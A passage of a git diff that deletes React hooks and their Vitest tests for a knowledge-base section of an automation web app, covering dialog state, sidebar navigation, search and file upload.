-import useKnowledgeBaseDropdownMenu from '../useKnowledgeBaseDropdownMenu';
-
-describe('useKnowledgeBaseDropdownMenu', () => {
-    describe('initial state', () => {
-        it('has showDeleteDialog as false', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDropdownMenu());
-
-            expect(result.current.showDeleteDialog).toBe(false);
-        });
-
-        it('has showEditDialog as false', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDropdownMenu());
-
-            expect(result.current.showEditDialog).toBe(false);
-        });
-    });
-
-    describe('handleShowDeleteDialog', () => {
-        it('sets showDeleteDialog to true', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDropdownMenu());
-
-            act(() => {
-                result.current.handleShowDeleteDialog();
-            });
-
-            expect(result.current.showDeleteDialog).toBe(true);
-        });
-    });
-
-    describe('handleCloseDeleteDialog', () => {
-        it('sets showDeleteDialog to false', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDropdownMenu());
-
-            act(() => {
-                result.current.handleShowDeleteDialog();
-            });
-
-            act(() => {
-                result.current.handleCloseDeleteDialog();
-            });
-
-            expect(result.current.showDeleteDialog).toBe(false);
-        });
-    });
-
-    describe('handleShowEditDialog', () => {
-        it('sets showEditDialog to true', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDropdownMenu());
-
-            act(() => {
-                result.current.handleShowEditDialog();
-            });
-
-            expect(result.current.showEditDialog).toBe(true);
-        });
-    });
-
-    describe('handleCloseEditDialog', () => {
-        it('sets showEditDialog to false', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDropdownMenu());
-
-            act(() => {
-                result.current.handleShowEditDialog();
-            });
-
-            act(() => {
-                result.current.handleCloseEditDialog();
-            });
-
-            expect(result.current.showEditDialog).toBe(false);
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/hooks/tests/useKnowledgeBaseLeftSidebarNav.test.ts b/client/src/pages/automation/knowledge-base/components/hooks/tests/useKnowledgeBaseLeftSidebarNav.test.ts
deleted file mode 100644
index cb0991f5475..00000000000
--- a/client/src/pages/automation/knowledge-base/components/hooks/tests/useKnowledgeBaseLeftSidebarNav.test.ts
+++ /dev/null
@@ -1,99 +0,0 @@
-import {renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseLeftSidebarNav from '../useKnowledgeBaseLeftSidebarNav';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        currentWorkspaceId: 1049,
-        knowledgeBasesData: {
-            knowledgeBases: [
-                {id: 'kb-1', name: 'KB 1'},
-                {id: 'kb-2', name: 'KB 2'},
-            ],
-        },
-        paramId: 'kb-1',
-    };
-});
-
-vi.mock('react-router-dom', () => ({
-    useParams: vi.fn(() => ({id: hoisted.paramId})),
-}));
-
-vi.mock('@/pages/automation/stores/useWorkspaceStore', () => ({
-    useWorkspaceStore: vi.fn((selector: (state: {currentWorkspaceId: number}) => number) =>
-        selector({currentWorkspaceId: hoisted.currentWorkspaceId})
-    ),
-}));
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useKnowledgeBasesQuery: vi.fn(() => ({
-        data: hoisted.knowledgeBasesData,
-        isLoading: false,
-    })),
-}));
-
-describe('useKnowledgeBaseLeftSidebarNav', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.paramId = 'kb-1';
-        hoisted.knowledgeBasesData = {
-            knowledgeBases: [
-                {id: 'kb-1', name: 'KB 1'},
-                {id: 'kb-2', name: 'KB 2'},
-            ],
-        };
-    });
-
-    describe('currentKnowledgeBaseId', () => {
-        it('returns current id from params', () => {
-            const {result} = renderHook(() => useKnowledgeBaseLeftSidebarNav());
-
-            expect(result.current.currentKnowledgeBaseId).toBe('kb-1');
-        });
-    });
-
-    describe('knowledgeBases', () => {
-        it('returns knowledge bases from query', () => {
-            const {result} = renderHook(() => useKnowledgeBaseLeftSidebarNav());
-
-            expect(result.current.knowledgeBases).toEqual([
-                {id: 'kb-1', name: 'KB 1'},
-                {id: 'kb-2', name: 'KB 2'},
-            ]);
-        });
-
-        it('filters out null knowledge bases', () => {
-            hoisted.knowledgeBasesData = {
-                knowledgeBases: [
-                    {id: 'kb-1', name: 'KB 1'},
-                    null as unknown as {id: string; name: string},
-                    {id: 'kb-2', name: 'KB 2'},
-                ],
-            };
-
-            const {result} = renderHook(() => useKnowledgeBaseLeftSidebarNav());
-
-            expect(result.current.knowledgeBases).toEqual([
-                {id: 'kb-1', name: 'KB 1'},
-                {id: 'kb-2', name: 'KB 2'},
-            ]);
-        });
-
-        it('returns empty array when no data', () => {
-            hoisted.knowledgeBasesData = null as unknown as typeof hoisted.knowledgeBasesData;
-
-            const {result} = renderHook(() => useKnowledgeBaseLeftSidebarNav());
-
-            expect(result.current.knowledgeBases).toEqual([]);
-        });
-    });
-
-    describe('isLoading', () => {
-        it('returns loading state from query', () => {
-            const {result} = renderHook(() => useKnowledgeBaseLeftSidebarNav());
-
-            expect(result.current.isLoading).toBe(false);
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/hooks/tests/useKnowledgeBaseSearchInterface.test.ts b/client/src/pages/automation/knowledge-base/components/hooks/tests/useKnowledgeBaseSearchInterface.test.ts
deleted file mode 100644
index 360079ebd19..00000000000
--- a/client/src/pages/automation/knowledge-base/components/hooks/tests/useKnowledgeBaseSearchInterface.test.ts
+++ /dev/null
@@ -1,218 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {FormEvent} from 'react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseSearchInterface from '../useKnowledgeBaseSearchInterface';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        searchResults: [
-            {content: 'Result 1', id: 'result-1', metadata: {file_name: 'doc.pdf'}, score: 0.95},
-            {content: 'Result 2', id: 'result-2', metadata: {file_name: 'doc.pdf'}, score: 0.85},
-        ],
-    };
-});
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useSearchKnowledgeBaseQuery: vi.fn(() => ({
-        data: {searchKnowledgeBase: hoisted.searchResults},
-        isLoading: false,
-    })),
-}));
-
-describe('useKnowledgeBaseSearchInterface', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('has empty query', () => {
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.query).toBe('');
-        });
-
-        it('has empty metadataFilters', () => {
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.metadataFilters).toBe('');
-        });
-
-        it('has empty searchQuery', () => {
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.searchQuery).toBe('');
-        });
-
-        it('canSearch is false', () => {
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.canSearch).toBe(false);
-        });
-    });
-
-    describe('setQuery', () => {
-        it('updates query', () => {
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.setQuery('test query');
-            });
-
-            expect(result.current.query).toBe('test query');
-        });
-
-        it('enables search when query is not empty', () => {
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.setQuery('test');
-            });
-
-            expect(result.current.canSearch).toBe(true);
-        });
-    });
-
-    describe('setMetadataFilters', () => {
-        it('updates metadata filters', () => {
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.setMetadataFilters('{"category": "docs"}');
-            });
-
-            expect(result.current.metadataFilters).toBe('{"category": "docs"}');
-        });
-    });
-
-    describe('handleSearch', () => {
-        const createMockEvent = (): FormEvent =>
-            ({
-                preventDefault: vi.fn(),
-            }) as unknown as FormEvent;
-
-        it('prevents default form submission', () => {
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-            const mockEvent = createMockEvent();
-
-            act(() => {
-                result.current.setQuery('test');
-            });
-
-            act(() => {
-                result.current.handleSearch(mockEvent);
-            });
-
-            expect(mockEvent.preventDefault).toHaveBeenCalled();
-        });
-
-        it('sets searchQuery from query', () => {
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.setQuery('search term');
-            });
-
-            act(() => {
-                result.current.handleSearch(createMockEvent());
-            });
-
-            expect(result.current.searchQuery).toBe('search term');
-        });
-
-        it('does not search when query is empty', () => {
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleSearch(createMockEvent());
-            });
-
-            expect(result.current.searchQuery).toBe('');
-        });
-
-        it('does not search when query is only whitespace', () => {
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.setQuery('   ');
-            });
-
-            act(() => {
-                result.current.handleSearch(createMockEvent());
-            });
-
-            expect(result.current.searchQuery).toBe('');
-        });
-    });
-
-    describe('handleClearSearch', () => {
-        it('clears query', () => {
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.setQuery('test');
-            });
-
-            act(() => {
-                result.current.handleClearSearch();
-            });
-
-            expect(result.current.query).toBe('');
-        });
-
-        it('clears metadataFilters', () => {
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.setMetadataFilters('{"test": true}');
-            });
-
-            act(() => {
-                result.current.handleClearSearch();
-            });
-
-            expect(result.current.metadataFilters).toBe('');
-        });
-
-        it('clears searchQuery', () => {
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-            const createMockEvent = (): FormEvent =>
-                ({
-                    preventDefault: vi.fn(),
-                }) as unknown as FormEvent;
-
-            act(() => {
-                result.current.setQuery('test');
-            });
-
-            act(() => {
-                result.current.handleSearch(createMockEvent());
-            });
-
-            act(() => {
-                result.current.handleClearSearch();
-            });
-
-            expect(result.current.searchQuery).toBe('');
-        });
-    });
-
-    describe('results', () => {
-        it('returns search results', () => {
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.results).toEqual(hoisted.searchResults);
-        });
-
-        it('filters out null results', () => {
-            hoisted.searchResults = [
-                {content: 'Result 1', id: 'result-1', metadata: null as unknown as {file_name: string}, score: 0.95},
-                null as unknown as (typeof hoisted.searchResults)[0],
-            ];
-
-            const {result} = renderHook(() => useKnowledgeBaseSearchInterface({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.results).toHaveLength(1);
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/hooks/tests/useUploadKnowledgeBaseDocumentDialog.test.ts b/client/src/pages/automation/knowledge-base/components/hooks/tests/useUploadKnowledgeBaseDocumentDialog.test.ts
deleted file mode 100644
index 20fd1bbfbfc..00000000000
--- a/client/src/pages/automation/knowledge-base/components/hooks/tests/useUploadKnowledgeBaseDocumentDialog.test.ts
+++ /dev/null
@@ -1,221 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {ChangeEvent} from 'react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useUploadKnowledgeBaseDocumentDialog from '../useUploadKnowledgeBaseDocumentDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        invalidateQueries: vi.fn(),
-    };
-});
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: vi.fn(() => ({
-        invalidateQueries: hoisted.invalidateQueries,
-    })),
-}));
-
-vi.mock('@/shared/util/cookie-utils', () => ({
-    getCookie: vi.fn(() => 'mock-xsrf-token'),
-}));
-
-describe('useUploadKnowledgeBaseDocumentDialog', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('is closed', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.open).toBe(false);
-        });
-
-        it('has no selected files', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.selectedFiles).toEqual([]);
-        });
-
-        it('is not uploading', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.uploading).toBe(false);
-        });
-
-        it('cannot submit without files', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.canSubmit).toBe(false);
-        });
-    });
-
-    describe('setOpen', () => {
-        it('opens dialog', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.setOpen(true);
-            });
-
-            expect(result.current.open).toBe(true);
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('opens dialog', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            expect(result.current.open).toBe(true);
-        });
-
-        it('closes dialog and resets form', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.setOpen(true);
-            });
-
-            const mockFile = new File(['content'], 'test.pdf', {type: 'application/pdf'});
-            const mockEvent = {
-                target: {files: [mockFile]},
-            } as unknown as ChangeEvent<HTMLInputElement>;
-
-            act(() => {
-                result.current.handleFileChange(mockEvent);
-            });
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(result.current.open).toBe(false);
-            expect(result.current.selectedFiles).toEqual([]);
-        });
-    });
-
-    describe('handleFileChange', () => {
-        it('adds files to selected files', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            const mockFile = new File(['content'], 'test.pdf', {type: 'application/pdf'});
-            const mockEvent = {
-                target: {files: [mockFile]},
-            } as unknown as ChangeEvent<HTMLInputElement>;
-
-            act(() => {
-                result.current.handleFileChange(mockEvent);
-            });
-
-            expect(result.current.selectedFiles).toHaveLength(1);
-            expect(result.current.selectedFiles[0].file.name).toBe('test.pdf');
-            expect(result.current.selectedFiles[0].status).toBe('pending');
-        });
-
-        it('can add multiple files', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            const mockFile1 = new File(['content1'], 'test1.pdf', {type: 'application/pdf'});
-            const mockFile2 = new File(['content2'], 'test2.pdf', {type: 'application/pdf'});
-
-            const mockEvent = {
-                target: {files: [mockFile1, mockFile2]},
-            } as unknown as ChangeEvent<HTMLInputElement>;
-
-            act(() => {
-                result.current.handleFileChange(mockEvent);
-            });
-
-            expect(result.current.selectedFiles).toHaveLength(2);
-        });
-
-        it('does nothing when no files selected', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            const mockEvent = {
-                target: {files: null},
-            } as unknown as ChangeEvent<HTMLInputElement>;
-
-            act(() => {
-                result.current.handleFileChange(mockEvent);
-            });
-
-            expect(result.current.selectedFiles).toEqual([]);
-        });
-    });
-
-    describe('removeFile', () => {
-        it('removes file at specified index', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            const mockFile1 = new File(['content1'], 'test1.pdf', {type: 'application/pdf'});
-            const mockFile2 = new File(['content2'], 'test2.pdf', {type: 'application/pdf'});
-
-            act(() => {
-                result.current.handleFileChange({
-                    target: {files: [mockFile1, mockFile2]},
-                } as unknown as ChangeEvent<HTMLInputElement>);
-            });
-
-            act(() => {
-                result.current.removeFile(0);
-            });
-
-            expect(result.current.selectedFiles).toHaveLength(1);
-            expect(result.current.selectedFiles[0].file.name).toBe('test2.pdf');
-        });
-    });
-
-    describe('canSubmit', () => {
-        it('is true when files are selected and not uploading', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            const mockFile = new File(['content'], 'test.pdf', {type: 'application/pdf'});
-
-            act(() => {
-                result.current.handleFileChange({
-                    target: {files: [mockFile]},
-                } as unknown as ChangeEvent<HTMLInputElement>);
-            });
-
-            expect(result.current.canSubmit).toBe(true);
-        });
-    });
-
-    describe('formatFileSize', () => {
-        it('formats 0 bytes', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.formatFileSize(0)).toBe('0 Bytes');
-        });
-
-        it('formats bytes', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.formatFileSize(500)).toBe('500 Bytes');
-        });
-
-        it('formats kilobytes', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.formatFileSize(1024)).toBe('1 KB');
-        });
-
-        it('formats megabytes', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.formatFileSize(1048576)).toBe('1 MB');
-        });
-
-        it('formats gigabytes', () => {
-            const {result} = renderHook(() => useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.formatFileSize(1073741824)).toBe('1 GB');
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/hooks/useEditKnowledgeBaseDialog.ts b/client/src/pages/automation/knowledge-base/components/hooks/useEditKnowledgeBaseDialog.ts
deleted file mode 100644
index 574ade925e2..00000000000
--- a/client/src/pages/automation/knowledge-base/components/hooks/useEditKnowledgeBaseDialog.ts
+++ /dev/null
@@ -1,95 +0,0 @@
-import {useToast} from '@/hooks/use-toast';
-import {KnowledgeBase, useUpdateKnowledgeBaseMutation} from '@/shared/middleware/graphql';
-import {useQueryClient} from '@tanstack/react-query';
-import {useEffect, useState} from 'react';
-
-interface UseEditKnowledgeBaseDialogProps {
-    knowledgeBase: KnowledgeBase;
-    onOpenChange?: (open: boolean) => void;
-    open?: boolean;
-}
-
-export default function useEditKnowledgeBaseDialog({
-    knowledgeBase,
-    onOpenChange,
-    open: controlledOpen,
-}: UseEditKnowledgeBaseDialogProps) {
-    const [internalOpen, setInternalOpen] = useState(false);
-    const [name, setName] = useState(knowledgeBase.name);
-    const [description, setDescription] = useState(knowledgeBase.description || '');
-
-    const isControlled = controlledOpen !== undefined;
-    const open = isControlled ? controlledOpen : internalOpen;
-
-    const queryClient = useQueryClient();
-    const {toast} = useToast();
-
-    const updateMutation = useUpdateKnowledgeBaseMutation({
-        onError: () => {
-            toast({description: 'Failed to save settings. Please try again.', variant: 'destructive'});
-        },
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ['knowledgeBase', {id: knowledgeBase.id}]});
-            queryClient.invalidateQueries({queryKey: ['knowledgeBases']});
-
-            toast({description: 'Settings saved successfully.'});
-
-            handleOpenChange(false);
-        },
-    });
-
-    useEffect(() => {
-        if (open) {
-            setName(knowledgeBase.name);
-            setDescription(knowledgeBase.description || '');
-        }
-    }, [open, knowledgeBase.name, knowledgeBase.description]);
-
-    const handleNameChange = (newName: string) => {
-        setName(newName);
-    };
-
-    const handleDescriptionChange = (newDescription: string) => {
-        setDescription(newDescription);
-    };
-
-    const handleOpenChange = (newOpen: boolean) => {
-        if (isControlled) {
-            onOpenChange?.(newOpen);
-        } else {
-            setInternalOpen(newOpen);
-        }
-    };
-
-    const handleCancel = () => {
-        handleOpenChange(false);
-    };
-
-    const handleSave = () => {
-        updateMutation.mutate({
-            id: knowledgeBase.id,
-            knowledgeBase: {
-                description: description.trim() || undefined,
-                maxChunkSize: knowledgeBase.maxChunkSize,
-                minChunkSizeChars: knowledgeBase.minChunkSizeChars,
-                name: name.trim(),
-                overlap: knowledgeBase.overlap,
-            },
-        });
-    };
-
-    const canSubmit = name.trim().length > 0;
-
-    return {
-        canSubmit,
-        description,
-        handleCancel,
-        handleDescriptionChange,
-        handleNameChange,
-        handleOpenChange,
-        handleSave,
-        isPending: updateMutation.isPending,
-        name,
-        open,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseDeleteAlertDialog.ts b/client/src/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseDeleteAlertDialog.ts
deleted file mode 100644
index 4dcb7fccc8e..00000000000
--- a/client/src/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseDeleteAlertDialog.ts
+++ /dev/null
@@ -1,47 +0,0 @@
-import {useToast} from '@/hooks/use-toast';
-import {useDeleteKnowledgeBaseMutation} from '@/shared/middleware/graphql';
-import {useQueryClient} from '@tanstack/react-query';
-import {useNavigate} from 'react-router-dom';
-
-interface UseKnowledgeBaseDeleteAlertDialogProps {
-    knowledgeBaseId: string;
-    onClose: () => void;
-}
-
-export default function useKnowledgeBaseDeleteAlertDialog({
-    knowledgeBaseId,
-    onClose,
-}: UseKnowledgeBaseDeleteAlertDialogProps) {
-    const {toast} = useToast();
-    const navigate = useNavigate();
-    const queryClient = useQueryClient();
-
-    const deleteKnowledgeBaseMutation = useDeleteKnowledgeBaseMutation({
-        onError: () => {
-            toast({description: 'Failed to delete knowledge base.', variant: 'destructive'});
-        },
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ['knowledgeBases']});
-
-            toast({description: 'Knowledge base deleted successfully.'});
-
-            navigate('/automation/knowledge-bases');
-        },
-    });
-
-    const handleDeleteClick = () => {
-        deleteKnowledgeBaseMutation.mutate({id: knowledgeBaseId});
-
-        onClose();
-    };
-
-    const handleCancelClick = () => {
-        onClose();
-    };
-
-    return {
-        handleCancelClick,
-        handleDeleteClick,
-        isDeleting: deleteKnowledgeBaseMutation.isPending,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseDropdownMenu.ts b/client/src/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseDropdownMenu.ts
deleted file mode 100644
index 9429725cfd9..00000000000
--- a/client/src/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseDropdownMenu.ts
+++ /dev/null
@@ -1,15 +0,0 @@
-import {useState} from 'react';
-
-export default function useKnowledgeBaseDropdownMenu() {
-    const [showDeleteDialog, setShowDeleteDialog] = useState(false);
-    const [showEditDialog, setShowEditDialog] = useState(false);
-
-    return {
-        handleCloseDeleteDialog: () => setShowDeleteDialog(false),
-        handleCloseEditDialog: () => setShowEditDialog(false),
-        handleShowDeleteDialog: () => setShowDeleteDialog(true),
-        handleShowEditDialog: () => setShowEditDialog(true),
-        showDeleteDialog,
-        showEditDialog,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseLeftSidebarNav.ts b/client/src/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseLeftSidebarNav.ts
deleted file mode 100644
index 22a344edf75..00000000000
--- a/client/src/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseLeftSidebarNav.ts
+++ /dev/null
@@ -1,19 +0,0 @@
-import {useWorkspaceStore} from '@/pages/automation/stores/useWorkspaceStore';
-import {useKnowledgeBasesQuery} from '@/shared/middleware/graphql';
-import {useParams} from 'react-router-dom';
-
-export default function useKnowledgeBaseLeftSidebarNav() {
-    const {id} = useParams<{id: string}>();
-    const currentWorkspaceId = useWorkspaceStore((state) => state.currentWorkspaceId);
-    const workspaceId = String(currentWorkspaceId ?? 1049);
-
-    const {data, isLoading} = useKnowledgeBasesQuery({workspaceId});
-
-    const knowledgeBases = (data?.knowledgeBases ?? []).filter((kb): kb is NonNullable<typeof kb> => kb !== null);
-
-    return {
-        currentKnowledgeBaseId: id,
-        isLoading,
-        knowledgeBases,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseSearchInterface.ts b/client/src/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseSearchInterface.ts
deleted file mode 100644
index 46a98ecf602..00000000000
--- a/client/src/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseSearchInterface.ts
+++ /dev/null
@@ -1,62 +0,0 @@
-import {useSearchKnowledgeBaseQuery} from '@/shared/middleware/graphql';
-import {FormEvent, useState} from 'react';
-
-interface UseKnowledgeBaseSearchInterfaceProps {
-    knowledgeBaseId: string;
-}
-
-export default function useKnowledgeBaseSearchInterface({knowledgeBaseId}: UseKnowledgeBaseSearchInterfaceProps) {
-    const [query, setQuery] = useState('');
-    const [metadataFilters, setMetadataFilters] = useState('');
-    const [searchQuery, setSearchQuery] = useState('');
-    const [searchFilters, setSearchFilters] = useState<string | undefined>(undefined);
-
-    const {data, error, isLoading} = useSearchKnowledgeBaseQuery(
-        {
-            id: knowledgeBaseId,
-            metadataFilters: searchFilters,
-            query: searchQuery,
-        },
-        {
-            enabled: searchQuery.length > 0 && !!knowledgeBaseId,
-        }
-    );
-
-    const results = (data?.searchKnowledgeBase || []).filter(
-        (result): result is NonNullable<typeof result> => result !== null
-    );
-
-    const handleSearch = (event: FormEvent) => {
-        event.preventDefault();
-
-        if (query.trim().length === 0) {
-            return;
-        }
-
-        setSearchQuery(query);
-        setSearchFilters(metadataFilters.trim() || undefined);
-    };
-
-    const handleClearSearch = () => {
-        setQuery('');
-        setMetadataFilters('');
-        setSearchQuery('');
-        setSearchFilters(undefined);
-    };
-
-    const canSearch = query.trim().length > 0;
-
-    return {
-        canSearch,
-        error,
-        handleClearSearch,
-        handleSearch,
-        isLoading,
-        metadataFilters,
-        query,
-        results,
-        searchQuery,
-        setMetadataFilters,
-        setQuery,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/hooks/useUploadKnowledgeBaseDocumentDialog.ts b/client/src/pages/automation/knowledge-base/components/hooks/useUploadKnowledgeBaseDocumentDialog.ts
deleted file mode 100644
index 936670905f2..00000000000
--- a/client/src/pages/automation/knowledge-base/components/hooks/useUploadKnowledgeBaseDocumentDialog.ts
+++ /dev/null
@@ -1,156 +0,0 @@
-import {getCookie} from '@/shared/util/cookie-utils';
-import {useQueryClient} from '@tanstack/react-query';
-import {ChangeEvent, useCallback, useState} from 'react';
-
-interface SelectedFileI {
-    file: File;
-    status: 'completed' | 'error' | 'pending' | 'uploading';
-    statusMessage?: string;
-}
-
-interface UseUploadKnowledgeBaseDocumentDialogProps {
-    knowledgeBaseId: string;
-}
-
-export default function useUploadKnowledgeBaseDocumentDialog({
-    knowledgeBaseId,
-}: UseUploadKnowledgeBaseDocumentDialogProps) {
-    const [open, setOpen] = useState(false);
-    const [selectedFiles, setSelectedFiles] = useState<SelectedFileI[]>([]);
-    const [uploading, setUploading] = useState(false);
-
-    const queryClient = useQueryClient();
-
-    const resetForm = useCallback(() => {
-        setSelectedFiles([]);
-        setUploading(false);
-    }, []);
-
-    const uploadFile = useCallback(
-        async (file: File, index: number) => {
-            setSelectedFiles((prev) => {
-                const updatedFiles = [...prev];
-
-                updatedFiles[index] = {...updatedFiles[index], status: 'uploading'};
-
-                return updatedFiles;
-            });
-
-            try {
-                const formData = new FormData();
-
-                formData.append('file', file);
-
-                const response = await fetch(`/api/automation/internal/knowledge-bases/${knowledgeBaseId}/documents`, {
-                    body: formData,
-                    headers: {
-                        'X-XSRF-TOKEN': getCookie('XSRF-TOKEN') || '',
-                    },
-                    method: 'POST',
-                });
-
-                if (!response.ok) {
-                    throw new Error(`Upload failed: ${response.statusText}`);
-                }
-
-                setSelectedFiles((prev) => {
-                    const updatedFiles = [...prev];
-
-                    updatedFiles[index] = {
-                        ...updatedFiles[index],
-                        status: 'completed',
-                        statusMessage: 'Uploaded successfully',
-                    };
-
-                    return updatedFiles;
-                });
-            } catch (error) {
-                setSelectedFiles((prev) => {
-                    const updatedFiles = [...prev];
-
-                    updatedFiles[index] = {
-                        ...updatedFiles[index],
-                        status: 'error',
-                        statusMessage: error instanceof Error ? error.message : 'Upload failed',
-                    };
-
-                    return updatedFiles;
-                });
-            }
-        },
-        [knowledgeBaseId]
-    );
-
-    const uploadFiles = useCallback(async () => {
-        setUploading(true);
-
-        const uploadPromises = selectedFiles.map((selectedFile, index) => uploadFile(selectedFile.file, index));
-
-        await Promise.all(uploadPromises);
-
-        queryClient.invalidateQueries({queryKey: ['knowledgeBase', {id: knowledgeBaseId}]});
-
-        setTimeout(() => {
-            setOpen(false);
-            resetForm();
-        }, 500);
-    }, [selectedFiles, uploadFile, queryClient, knowledgeBaseId, resetForm]);
-
-    const handleFileChange = (event: ChangeEvent<HTMLInputElement>) => {
-        if (event.target.files) {
-            const newFiles = Array.from(event.target.files).map((file) => ({
-                file,
-                status: 'pending' as const,
-            }));
-
-            setSelectedFiles((prev) => [...prev, ...newFiles]);
-        }
-    };
-
-    const removeFile = (index: number) => {
-        setSelectedFiles((prev) => prev.filter((_, fileIndex) => fileIndex !== index));
-    };
-
-    const canSubmit = selectedFiles.length > 0 && !uploading;
-
-    const handleSubmit = () => {
-        if (selectedFiles.length > 0) {
-            uploadFiles();
-        }
-    };
-
-    const formatFileSize = (bytes: number) => {
-        if (bytes === 0) {
-            return '0 Bytes';
-        }
-
